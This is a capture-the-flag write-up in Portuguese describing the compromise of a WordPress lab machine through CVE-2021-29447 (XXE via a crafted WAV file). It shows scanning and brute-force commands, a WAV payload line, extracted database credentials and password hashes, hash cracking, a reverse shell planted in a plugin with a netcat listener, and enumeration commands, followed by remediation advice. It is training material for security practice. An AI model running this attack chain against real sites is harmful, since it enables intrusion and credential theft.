
The objective is to conduct a full-scale security assessment of a WordPress-based web application, culminating in a complete server compromise. The assessment will focus on exploiting a specific, real-world vulnerability (CVE-2021-29447) to achieve initial access.
Objetivo do Projeto: Demonstrar uma cadeia de ataque completa em uma instalação vulnerável do WordPress, explorando CVE-2021-29447 (XXE na biblioteca de mídia) para obter execução remota de código e comprometimento total do sistema.
Fase 1: Reconhecimento & Enumeração Varredura de Rede com Nmap:
bash Varredura SYN rápida para descobrir portas abertas nmap -sS -T4 10.201.3.95
Varredura detalhada de versão e script nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initial_scan Resultados:
text PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 80/tcp open http Apache/2.4.18 (Ubuntu) |_http-generator: WordPress 5.6.2 3306/tcp open mysql MySQL 5.7.33 Enumeração do WordPress com WPScan:
bash Enumeração de usuários wpscan --url http://10.201.3.95/ --enumerate u
Ataque de força bruta de senha wpscan --url http://10.201.3.95/ --usernames test-corp --passwords passwords.txt Credenciais Obtidas:
Nome de usuário: test-corp | Senha: test
Nome de usuário: corp-001 | Senha: teddybear (quebrada posteriormente)
Fase 2: Acesso Inicial - Exploração XXE (CVE-2021-29447) Criação de Arquivo WAV Malicioso:
bash echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00%remote;%param;%send;]>\x00' > payload.wav Payload DTD Externo (yup.dtd):
xml
">Servidor HTTP para Exfiltração de Dados:
bash python3 -m http.server 8000 Script PHP de Decodificação de Dados:
php
Credenciais do Banco de Dados Extraídas:
php define('DB_NAME', 'wordpressdb2'); define('DB_USER', 'thedarktangent'); define('DB_PASSWORD', 'sUp3rS3cret132'); define('DB_HOST', 'localhost'); Fase 3: Acesso ao Banco de Dados & Coleta de Credenciais Conexão MySQL:
bash mysql -h 10.201.3.95 -u thedarktangent -p Consultas SQL Executadas:
sql SHOW DATABASES; USE wordpressdb2; SHOW TABLES; SELECT user_login, user_pass FROM wptry_users; Hashes de Usuários Obtidos:
text +------------+------------------------------------+ | user_login | user_pass | +------------+------------------------------------+ | corp-001 | $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 | | test-corp | $P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 | +------------+------------------------------------+ Quebra de Senhas com John the Ripper:
bash Criar arquivo de hash cat > wp_hashes.txt << EOF corp-001:$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 test-corp:$P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 EOF
Quebrar hashes john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt john --show wp_hashes.txt Senhas Quebradas:
corp-001:teddybear
test-corp:test
Fase 4: Escalação de Privilégio & RCE Payload de Reverse Shell (Plugin Hello Dolly Modificado):
php
Listener Netcat:
bash nc -nvlp 4444 Acesso ao Shell Obtido:
text Connection received on 10.201.3.95 42314 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) Fase 5: Pós-Exploração (Pendente de Conclusão) Comandos para a Próxima Sessão:
bash Caça à flag find / -name flag.txt 2>/dev/null find / -name root.txt 2>/dev/null find / -name user.txt 2>/dev/null
Enumeração de escalação de privilégio sudo -l find / -perm -u=s -type f 2>/dev/null cat /etc/crontab ps aux uname -a cat /etc/os-release Descobertas de Segurança & Recomendações Vulnerabilidades Críticas Identificadas:
CVE-2021-29447 - Processamento de Entidade Externa XML na Biblioteca de Mídia do WordPress
Política de Senha Fraca - Senhas facilmente adivinháveis (test, teddybear)
Serviço de Banco de Dados Exposto - MySQL acessível remotamente
Software Desatualizado - WordPress 5.6.2 com vulnerabilidades conhecidas
Privilégios Excessivos de Usuário - Usuários não administradores com direitos de modificação de plugins
Recomendações de Remediação:
Atualização imediata para a versão mais recente do WordPress
Implementar política de senha forte e 2FA
Restringir acesso ao banco de dados apenas ao localhost
Aplicação regular de patches de segurança e varredura de vulnerabilidades
Princípio do menor privilégio para contas de usuário
Status do Projeto: 90% Completo - Reverse shell obtido, captura final da flag e escalação de privilégio pendentes de novo IP.
PARTE 2 ! FLAG Fase Final: Pós-Exploração & Captura da Flag Objetivo: Alcançar o comprometimento total do sistema e capturar a flag final.
Ações Realizadas:
Ativação do Reverse Shell:
Editou o arquivo do plugin hello.php no painel de administração do WordPress (/wp-admin/plugin-editor.php)
Inseriu um payload PHP de reverse shell configurado para conectar de volta à máquina Kali (10.201.6.187:4444)
Executou o payload acessando: http://ip-10-201-46-113.ec2.internal/wp-content/plugins/hello.php
Acesso Bem-Sucedido ao Shell:
Obteve uma conexão reverse shell como usuário www-data
Saída do shell:
text Connection received on 10.201.46.113 46240 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) Exploração do Sistema de Arquivos:
Diretório de usuário descoberto: /home/stux/
Diretório de flag encontrado: /home/stux/flag/
Arquivo de flag localizado: /home/stux/flag/flag.txt
Extração da Flag:
Comando executado: cat /home/stux/flag/flag.txt
Flag capturada: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
Resumo Completo da Cadeia de Ataque
CVE-2021-29447 - Processamento de Entidade Externa XML na Biblioteca de Mídia do WordPress
Política de Senha Fraca - Senhas facilmente adivinháveis (test, teddybear)
Privilégios Excessivos de Usuário - Usuários não administradores capazes de modificar plugins
Software Desatualizado - WordPress 5.6.2 com vulnerabilidades conhecidas
Exposição de Informações - Credenciais do banco de dados em wp-config.php
Recomendações de Segurança:
✅ Atualização imediata para a versão mais recente do WordPress
✅ Implementar política de senha forte com 2FA
✅ Aplicação regular de patches de segurança e varredura de vulnerabilidades
✅ Princípio do menor privilégio para contas de usuário
✅ Restringir funcionalidade de upload de arquivos e processamento XML
Conclusão O Projeto Chimera demonstrou com sucesso uma cadeia de ataque completa, desde o reconhecimento inicial até o comprometimento total do sistema. O exercício destacou como uma vulnerabilidade de análise XML aparentemente menor (CVE-2021-29447) pode ser encadeada com práticas de segurança inadequadas para alcançar a tomada completa do sistema.
O projeto enfatizou a importância de:
Atualizações regulares de software e gerenciamento de patches
Mecanismos de autenticação fortes
Controle de acesso e gerenciamento de privilégios adequados
Monitoramento de segurança abrangente
Status Final: ✅ 100% Completo - Todos os objetivos alcançados, flag capturada: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
O Projeto Chimera serve como um poderoso lembrete de que a segurança requer defesa em profundidade, já que uma única vulnerabilidade pode levar ao comprometimento completo do sistema quando combinada com outras fraquezas de segurança.
| Fase | Técnica Utilizada | Resultado |
|---|
| 1. Reconhecimento | Varredura Nmap | Descoberto WordPress 5.6.2 no Apache/2.4.18 |
| 2. Acesso Inicial | WPScan + Força bruta de senha | Acesso admin obtido com test-corp:test |
| 3. Exploração de Vulnerabilidade | CVE-2021-29447 (XXE) | wp-config.php extraído via arquivo WAV malicioso |
| 4. Exfiltração de Dados | Coleta de credenciais MySQL | Credenciais do BD obtidas: thedarktangent:sUp3rS3cret132 |
| 5. Escalação de Privilégio | Funcionalidade admin do WordPress | Plugin editado para obter acesso reverse shell |
| 6. Comprometimento Final | Exploração do sistema | Flag final capturada em /home/stux/flag/flag.txt |
| Principais Descobertas de Segurança | ||
| Vulnerabilidades Críticas Exploradas: |